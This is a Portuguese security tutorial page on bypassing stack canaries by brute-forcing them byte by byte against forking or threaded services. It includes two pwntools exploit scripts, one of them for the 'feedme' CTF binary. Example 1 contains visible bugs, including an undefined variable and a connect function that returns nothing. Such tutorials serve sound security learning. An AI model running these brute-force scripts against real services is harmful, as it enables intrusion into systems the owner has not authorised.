# BF Forked & Threaded Stack Canaries
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**Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.** ![](<../../../../.gitbook/assets/image (144).png>) {% hint style="info" %} Observe que o **`checksec`** pode não encontrar que um binário está protegido por um canário se ele foi compilado estaticamente e não é capaz de identificar a função.\ No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %} ## Brute force no Canary A melhor maneira de contornar um canário simples é se o binário for um programa **criando processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outras situações** poderia ser usando um **try/except**): ### Exemplo 1 Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Exemplo 2 Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\ Também observe que, para este exemplo, o **programa espera primeiro um byte para indicar o tamanho da entrada** e a carga útil. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Threads As threads do mesmo processo também **compartilharão o mesmo token de canário**, portanto será possível **forçar** um canário se o binário gerar uma nova thread toda vez que um ataque acontecer. ## Outros exemplos e referências * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar `execve` e pular para lá.